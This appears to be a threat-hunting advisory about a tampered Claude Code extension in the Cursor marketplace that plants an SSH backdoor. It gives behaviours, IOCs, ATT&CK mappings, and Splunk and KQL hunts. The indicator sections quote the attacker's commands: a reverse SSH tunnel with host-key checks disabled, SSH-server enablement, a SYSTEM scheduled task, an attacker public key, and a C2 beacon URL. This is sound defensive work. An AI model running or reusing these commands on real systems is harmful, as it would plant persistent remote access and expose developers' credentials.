Article Banner

Tampered Claude Code Extension in the Cursor Marketplace Plants an SSH Backdoor

For about 11 hours on October 29, 2026, the add-on store inside the Cursor code editor offered a doctored copy of Anthropic's Claude Code add-on. Anthropic did not build it. Cursor says at most 5,000 users were affected, and the add-on tried to give an outside attacker a standing way to log in to each developer's computer while it sent details about that machine back to the attacker.

A garden center that restocks a popular brand's seed packets with doctored ones sells them first to its most loyal customers, and the weeds keep sprouting long after the empty packet goes in the bin. This add-on worked the same way. It arrived through a trusted store under a trusted name, and Cursor warns that removing it does not remove the scripts it left behind.

The computers at risk belong to software developers, who hold the passwords, access tokens and source code for the systems their companies run. Cursor took the attacker's server offline and says the remote login step failed on most machines. Even so, the add-on still planted the attacker's login credential and its startup scripts, so any company whose developers use Cursor needs to check those computers and change the passwords they could reach.

Hunting Controls & Observations

The payload runs inside the editor on macOS and Windows developer workstations, so the evidence sits mostly in endpoint telemetry, with a thin network trail to a single hosting-provider address:

  • Endpoint Controls: EDR process creation and file events (Defender for Endpoint DeviceProcessEvents and DeviceFileEvents, Sysmon Event IDs 1 and 11 on Windows), Windows Security Event ID 4698 (scheduled task created), and macOS endpoint telemetry covering ~/Library/LaunchAgents and ~/.ssh
  • Network Controls: egress firewall and NetFlow records for outbound TCP 22 and TCP 8099 from workstation subnets, and proxy logs for HTTP POST requests to a /beacon path
  • Identity & Access Controls: OpenSSH server logs (the Windows OpenSSH/Operational channel, the macOS unified log for sshd) showing which public key authenticated a login
  • Software Inventory: editor extension folders and package hashes, which reveal the anthropic.claude-code-2.1.313 build on a host

Behavioral Indicators of Attack

Cursor's notice describes these behaviors in the modified extension.js:

  • Profiling the developer's machine: the payload gathers the hostname, username, OS, CPU architecture, home directory, environment variable names, working directories and configured Git email, then looks up the host's public IP through ifconfig.me or api.ipify.org (Endpoint, Network)
  • Appending an outside key to the SSH allow list: the editor process writes an ed25519 public key with the comment svc-telemetry into authorized_keys, and on Windows the check also covers C:\ProgramData\ssh\administrators_authorized_keys (Endpoint)
  • Switching on the local SSH server without admin rights: it runs systemsetup -setremotelogin on on macOS or Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 on Windows, and Cursor reports this step fails unless the editor was started elevated (Endpoint)
  • Reverse tunnel with host-key checks turned off: ssh -N -R '*:0:localhost:22' or autossh -M 0 connects out as tunnel@ the attacker host on TCP 22 with StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null and ExitOnForwardFailure=yes, retried by background scripts roughly every 60 seconds (Endpoint, Network)
  • Persistence named after system monitoring: a LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS; on Windows a scheduled task SysMon that tries to run as SYSTEM, with a fallback sysmon.cmd in the user's Startup folder (Endpoint)
  • Hidden working files under the user profile: .config/.smt and .smtk on macOS, .config\smt.cmd and smtk on Windows, and a .stk_ file with 10 hex characters in the temp directory (Endpoint)
  • Status reports on a non-web port: HTTP POST to /beacon on TCP 8099 at the attacker host, plus a matching POST attempt to loopback port 8099 (Network)

MITRE Enterprise ATT&CK Tactics and Techniques

Cursor's notice cites no ATT&CK IDs, so each technique here is mapped by Focused Hunts from the steps Cursor lists:

Controls' Observables

Software Distribution & Extension Management

Editor extensions install and update per user, outside the software deployment tools most IT teams own, so this control is usually the one that is missing.

  • An inventory that lists editor extensions by version: an organization that collects extension folder names from developer machines can answer "who ran 2.1.313" in minutes; one that does not has to ask every developer, and auto-update means many installed it without noticing.
    Related MITRE Techniques: T1195.002
    Detection Difficulty: MODERATE
  • A marketplace allow list or pinned versions: editors that pull extensions from a curated internal mirror, or pin versions, would not have taken this build automatically; few organizations apply that control to developer tools.
    Related MITRE Techniques: T1195.002
    Detection Difficulty: HARD

Endpoint Controls

EDR on developer machines records every step this payload takes; the gap is that most alert logic treats the editor as a trusted parent process.

  • A change to the SSH allow list made by an application, not a person: EDR file monitoring logs the write to authorized_keys with the editor as the writer. Few developers edit that file at all, and almost never through an editor's background process, so any such write deserves a look.
    Related MITRE Techniques: T1098.004
    Detection Difficulty: EASY
  • New startup items with system-sounding names: the endpoint agent sees a new LaunchAgent or Startup folder script and a new scheduled task. Names like SysMon read as legitimate to a reviewer skimming an autoruns report, which is the point of choosing them.
    Related MITRE Techniques: T1543.001, T1053.005, T1547.001, T1036.004
    Detection Difficulty: MODERATE
  • An ssh process started from a workstation with every safety check switched off: process telemetry captures the full command line. Developers do run ssh, but a reverse forward of port 22 with host-key checking disabled is rare enough to review every hit.
    Related MITRE Techniques: T1572
    Detection Difficulty: EASY

Network Controls

Egress filtering sees the outbound half of the backdoor and is the one control that would have stopped the tunnel from ever forming.

  • Outbound SSH from workstations to the internet: egress rules that allow TCP 22 only to known Git hosts and jump servers block the tunnel outright and log the attempt; flat outbound rules let it through unrecorded.
    Related MITRE Techniques: T1572, T1021.004
    Detection Difficulty: EASY
  • Plain HTTP to an unusual port on a hosting-provider address: proxies and firewalls log the POST to port 8099. It stands out only where workstation egress is forced through a proxy and non-standard ports are denied by default.
    Related MITRE Techniques: T1071.001, T1041
    Detection Difficulty: MODERATE

Identity & Access Controls

The developer's own credentials are the real prize, and the identity platform has no direct view of a key placed on a laptop.

  • SSH logins by an unknown key: OpenSSH logs the fingerprint of the key that authenticated. On a workstation that never accepts inbound SSH, any accepted login is the finding, but few organizations collect sshd logs from laptops.
    Related MITRE Techniques: T1098.004, T1021.004
    Detection Difficulty: HARD
  • Tokens and cloud sessions reachable from the developer machine: the payload collected environment variable names only, not their values, but a working backdoor would expose whatever the developer can reach. Session revocation and token rotation are the control here, not detection.
    Related MITRE Techniques: T1082
    Detection Difficulty: HARD

Insights and Recommendation

The attacker's server is down, so the live risk has shifted from an active intrusion to leftovers. An affected host still carries an attacker key in its SSH allow list, startup items that retry the tunnel every minute, and a record of its hostname, user, Git email and public IP in the attacker's hands. A host where the editor ran elevated is a different case: there the SSH server came on and the tunnel worked, so the attacker could have logged in as the developer and reached anything that developer can. The rarity of elevated launches is the deciding factor in how deep each investigation goes.

SOC teams should work in this order. First, scope: sweep extension inventory and the IOC list for version 2.1.313 and connections to 134.209.82.225, and run the svc-telemetry key check from Cursor's notice on every Cursor user's machine. Second, contain: isolate any host with the key or the persistence items, remove them with Cursor's remediation scripts, and rebuild any host where the SSH server was found running or a tunnel connected, since uninstalling the extension leaves the scripts in place. Third, rotate SSH keys, Git and cloud tokens, and browser sessions for affected users from a clean system. Fourth, keep the behavioral hunts below in place, because the same playbook works through any trusted extension: alert on authorized_keys writes by non-SSH processes, on reverse SSH tunnels with host-key checking disabled, and on new startup items created by editor process trees, and block outbound TCP 22 from workstations except to approved hosts.

Source and Credits

This summary is based on Cursor's security notice "Security notice: malicious version of Anthropic.claude-code (2.1.313) identified in the Cursor Extension Marketplace" published on October 29, 2026.

Darknet CTI corroboration (Focused Hunts) adds indicator status from abuse.ch ThreatFox and AlienVault OTX, and network ownership and usage type from AlienVault OTX and AbuseIPDB, all checked October 30, 2026.

Threat Hunting IOCs & Queries

Cursor's published indicators come first, then five hunts that look for the payload's actions rather than its addresses.

Known Indicators of Compromise

  • File Hashes: SHA256 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 (MD5 da5469c4221775e9fe2e413e59ca7fd9) - modified VSIX, darwin-arm64; SHA256 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 (MD5 bd3b71ddf3d0cc3af76249afd2c0eda1) - modified VSIX, win32-x64
  • IP Addresses: 134.209.82.225 - attacker endpoint for the reverse SSH tunnel (tunnel@, TCP 22) and the beacon (TCP 8099) (abuse.ch ThreatFox: http://134.209.82.225:8099/beacon listed as botnet C2 at 100% confidence, and 134.209.82.225:22 and :8099 at 75%, as of 2026-10-30; AlienVault OTX: 4 pulses referencing this extension, network AS14061 DigitalOcean, as of 2026-10-30; AbuseIPDB usage type Data Center/Web Hosting/Transit, as of 2026-10-30)
  • URLs: hxxp://134.209.82.225:8099/beacon (HTTP POST); 127.0.0.1:8099/beacon (loopback POST attempt). Lookups to ifconfig.me and api.ipify.org are legitimate services and are not indicators on their own.
  • SSH Keys: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry; unauthorized key fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk; reverse-tunnel key fingerprint SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
  • Extension Folders: anthropic.claude-code-2.1.313-darwin-arm64, anthropic.claude-code-2.1.313-win32-x64 (the modified extension.js contains the IP and the string svc-telemetry)
  • File Paths (macOS): ~/.ssh/authorized_keys, ~/.config/.smt, ~/.config/.smtk, $TMPDIR/.stk_<10 hex>, ~/Library/LaunchAgents/com.apple.sysmond.plist (label com.apple.sysmond)
  • File Paths (Windows): %USERPROFILE%\.ssh\authorized_keys, C:\ProgramData\ssh\administrators_authorized_keys, %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %TEMP%\.stk_<10 hex>, %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd
  • Scheduled Task: SysMon (attempts to run as SYSTEM)

These indicators come from Cursor's October 29, 2026 notice and describe a single build that was live for one morning; the ThreatFox, OTX and AbuseIPDB annotations are a separate darknet corroboration check run on October 30, 2026. Cursor and the hosting provider have already taken 134.209.82.225 offline, so the address is useful for scoping past exposure, not for catching new activity. The key, the file names and above all the behaviors below are what a repeat attempt through another extension would carry over.

Reverse SSH Tunnel With Host-Key Checking Disabled

Priority: High (score 28) - Command and Control impact; observed in this incident; behavior pattern that survives a new IP; Tier 1 process telemetry; rarely benign.
Behavior Targeted: Matches ssh or autossh launches whose command line carries a remote forward ( -R ) together with at least one of the trust-skipping options the payload passes, grouped by host, user, parent and full command line.
MITRE ATT&CK: T1572, T1021.004
Telemetry Required: Process creation with full command lines: Defender for Endpoint (DeviceProcessEvents, Windows and macOS), Sysmon Event ID 1, or any EDR mapped to the CIM Endpoint.Processes data model.
Expected Results: A developer workstation running ssh -N -R '*:0:localhost:22' to 134.209.82.225 as user tunnel, repeating about once a minute because the persistence scripts relaunch it, not an interactive terminal.
False Positive Likelihood: LOW - engineers occasionally build reverse tunnels for remote support or lab access, but rarely from laptops and rarely with host-key checking disabled.
Tuning Guidance: Exclude named jump hosts or support tooling by destination in the command line. To widen the hunt, drop the option filter and review every -R forward from workstation subnets; to narrow it, require localhost:22 in the command line.
Detection Difficulty: EASY - the full command line is in standard process telemetry.

Splunk SPL Query

| tstats summariesonly=false count min(_time) AS first_seen max(_time) AS last_seen
    from datamodel=Endpoint.Processes
    where earliest=-30d Processes.process_name IN ("ssh","ssh.exe","autossh","autossh.exe")
        Processes.process="* -R *"
        (Processes.process="*StrictHostKeyChecking=no*" OR Processes.process="*UserKnownHostsFile=/dev/null*" OR Processes.process="*ExitOnForwardFailure=yes*")
    by Processes.dest Processes.user Processes.parent_process_name Processes.process
| rename Processes.* AS *
| sort - count
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL Query (Defender/Sentinel)

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("ssh", "ssh.exe", "autossh", "autossh.exe")
| where ProcessCommandLine contains " -R "
| where ProcessCommandLine contains "StrictHostKeyChecking=no"
    or ProcessCommandLine contains "UserKnownHostsFile=/dev/null"
    or ProcessCommandLine contains "ExitOnForwardFailure=yes"
| summarize Count = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp)
    by DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| order by Count desc

SSH Authorized Keys Written by a Non-Interactive Process

Priority: High (score 24) - Persistence impact; observed in this incident; artifact path that any repeat would reuse; Tier 1 file telemetry.
Behavior Targeted: Lists every create or modify event on authorized_keys or administrators_authorized_keys and shows which process did the writing, so an editor, Node or script host stands out from ssh-copy-id or a configuration-management agent.
MITRE ATT&CK: T1098.004
Telemetry Required: File creation and modification events: Defender for Endpoint DeviceFileEvents (Windows and macOS), Sysmon Event ID 11, or an EDR mapped to CIM Endpoint.Filesystem. Sysmon Event ID 11 records creation only, so pair it with file integrity monitoring on .ssh folders for appends.
Expected Results: A write to a developer's authorized_keys on October 29, 2026 whose initiating process belongs to the Cursor editor. Open the file and look for the svc-telemetry comment to confirm.
False Positive Likelihood: MEDIUM - configuration management (Ansible, Puppet, Chef, Jamf, Intune scripts) and ssh-copy-id legitimately write this file on servers and some managed laptops.
Tuning Guidance: Exclude known provisioning agents by initiating process name and limit the scope to workstation device groups. In Splunk, add the EDR's process name field to the by clause if its add-on populates one beyond process_id.
Detection Difficulty: EASY - one file name on every platform.

Splunk SPL Query

| tstats summariesonly=false count min(_time) AS first_seen max(_time) AS last_seen
    from datamodel=Endpoint.Filesystem
    where earliest=-30d Filesystem.file_name IN ("authorized_keys","administrators_authorized_keys")
    by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.action Filesystem.process_id
| rename Filesystem.* AS *
| sort - last_seen
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL Query (Defender/Sentinel)

DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName in~ ("authorized_keys", "administrators_authorized_keys")
| where ActionType in ("FileCreated", "FileModified")
| summarize Count = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessParentFileName, FolderPath
| order by LastSeen desc

Startup Scripts and LaunchAgents Dropped in User Autostart Folders

Priority: High (score 25) - Persistence impact; observed in this incident; folder-based pattern independent of the file names; Tier 1 file telemetry; benign drops are infrequent and attributable.
Behavior Targeted: Catches new script or plist files landing in the Windows Startup folder or a macOS LaunchAgents folder, the two places this payload installs its tunnel relauncher, and shows the writing process.
MITRE ATT&CK: T1543.001, T1547.001, T1036.004
Telemetry Required: File creation events from Defender for Endpoint DeviceFileEvents (Windows and macOS), Sysmon Event ID 11, or an EDR mapped to CIM Endpoint.Filesystem.
Expected Results: com.apple.sysmond.plist in ~/Library/LaunchAgents or sysmon.cmd in the Startup folder, written by the editor process tree. A plist whose name starts with com.apple. in a user's own LaunchAgents folder is suspicious on its own, because Apple ships its agents under /System/Library.
False Positive Likelihood: MEDIUM - installers for sync clients, updaters and chat apps add LaunchAgents and Startup entries; they are signed and arrive alongside a matching application install.
Tuning Guidance: Exclude known updater processes by initiating process name, or restrict to .cmd, .bat, .vbs and .ps1 on Windows, where installers rarely drop raw scripts.
Detection Difficulty: MODERATE - the names are chosen to pass a quick autoruns review.

Splunk SPL Query

| tstats summariesonly=false count min(_time) AS first_seen max(_time) AS last_seen
    from datamodel=Endpoint.Filesystem
    where earliest=-30d (Filesystem.file_path="*Library/LaunchAgents*" OR Filesystem.file_path="*Start Menu*Programs*Startup*")
        (Filesystem.file_name="*.plist" OR Filesystem.file_name="*.cmd" OR Filesystem.file_name="*.bat" OR Filesystem.file_name="*.vbs" OR Filesystem.file_name="*.ps1")
    by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_name Filesystem.process_id
| rename Filesystem.* AS *
| sort - last_seen
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL Query (Defender/Sentinel)

DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated", "FileRenamed")
| where FolderPath contains "Library/LaunchAgents" or FolderPath contains @"Start Menu\Programs\Startup"
| where FileName endswith ".plist" or FileName endswith ".cmd" or FileName endswith ".bat"
    or FileName endswith ".vbs" or FileName endswith ".ps1"
| summarize Count = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath, FileName
| order by LastSeen desc

SSH Server Enablement and SYSTEM Task Creation From a User Session

Priority: High (score 24) - Lateral Movement and Persistence impact; observed in this incident; command pattern rather than an indicator; Tier 1 process telemetry.
Behavior Targeted: Finds the three setup commands the payload issues: turning on macOS Remote Login, installing the Windows OpenSSH Server capability, and creating a scheduled task that runs as SYSTEM. The process tree shows whether a person or a background script ran each one.
MITRE ATT&CK: T1021.004, T1053.005
Telemetry Required: Process creation with command lines from Defender for Endpoint, Sysmon Event ID 1, or CIM Endpoint.Processes. PowerShell cmdlets appear only when passed on the command line; add Script Block Logging (Event ID 4104) to catch them inside scripts.
Expected Results: On an affected host, failed or successful attempts at these commands clustered on October 29, 2026, under the developer's own account with no admin session open. On the rare elevated host, a successful OpenSSH Server install or Remote Login switch marks the machine where the tunnel worked.
False Positive Likelihood: MEDIUM - IT staff enable Remote Login and OpenSSH Server deliberately, and many installers create SYSTEM tasks.
Tuning Guidance: Exclude the endpoint management agent's process names and IT admin accounts. For the SYSTEM task branch, add /tn SysMon to the filter for an exact match to this incident, or keep it broad and baseline the task names seen across the fleet.
Detection Difficulty: MODERATE - each command is legitimate on its own; context decides.

Splunk SPL Query

| tstats summariesonly=false count min(_time) AS first_seen max(_time) AS last_seen
    from datamodel=Endpoint.Processes
    where earliest=-30d ((Processes.process_name="systemsetup" Processes.process="*-setremotelogin on*")
        OR (Processes.process="*Add-WindowsCapability*" Processes.process="*OpenSSH.Server*")
        OR (Processes.process_name="schtasks.exe" Processes.process="*/create*" Processes.process="*SYSTEM*"))
    by Processes.dest Processes.user Processes.parent_process_name Processes.process
| rename Processes.* AS *
| sort - count
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL Query (Defender/Sentinel)

DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName =~ "systemsetup" and ProcessCommandLine contains "-setremotelogin on")
    or (ProcessCommandLine contains "Add-WindowsCapability" and ProcessCommandLine contains "OpenSSH.Server")
    or (FileName =~ "schtasks.exe" and ProcessCommandLine contains "/create" and ProcessCommandLine contains "SYSTEM")
| summarize Count = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp)
    by DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| order by Count desc

IOC Sweep: Connections to the Attacker Endpoint

Priority: High (score 24) - Command and Control impact; confirmed by abuse.ch ThreatFox as C2 at up to 100% confidence; Tier 1 network telemetry; a single address with no legitimate use.
Behavior Targeted: Every outbound connection to 134.209.82.225 on any port, summarized by host, account, process and destination port, so tunnel attempts on 22 and beacons on 8099 show side by side.
MITRE ATT&CK: T1572, T1071.001, T1041
Telemetry Required: Defender for Endpoint DeviceNetworkEvents, or firewall and NetFlow data mapped to CIM Network_Traffic.
Expected Results: Connections from developer workstations starting no earlier than 2:27am PT on October 29, 2026, recurring roughly every 60 seconds while the tunnel script ran, then failing after the server went offline.
False Positive Likelihood: LOW - Cursor names this hosting-provider address as the attacker endpoint, so the main benign hit is a researcher pulling the beacon URL for analysis.
Tuning Guidance: Widen the time range to cover October 29 if the default window has rolled past it. Hosts that show only failed connections after the takedown still carry the persistence and need remediation.
Detection Difficulty: EASY - one exact address.

Splunk SPL Query

| tstats summariesonly=false count min(_time) AS first_seen max(_time) AS last_seen
    from datamodel=Network_Traffic.All_Traffic
    where earliest=-30d All_Traffic.dest_ip="134.209.82.225"
    by All_Traffic.src_ip All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.action
| rename All_Traffic.* AS *
| sort - count
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL Query (Defender/Sentinel)

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP == "134.209.82.225"
| summarize Count = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, RemoteIP, RemotePort, ActionType
| order by Count desc

Note: These queries were generated with AI assistance and are a starting point for threat hunting and detection rule considerations.

Back to Hunting off the Red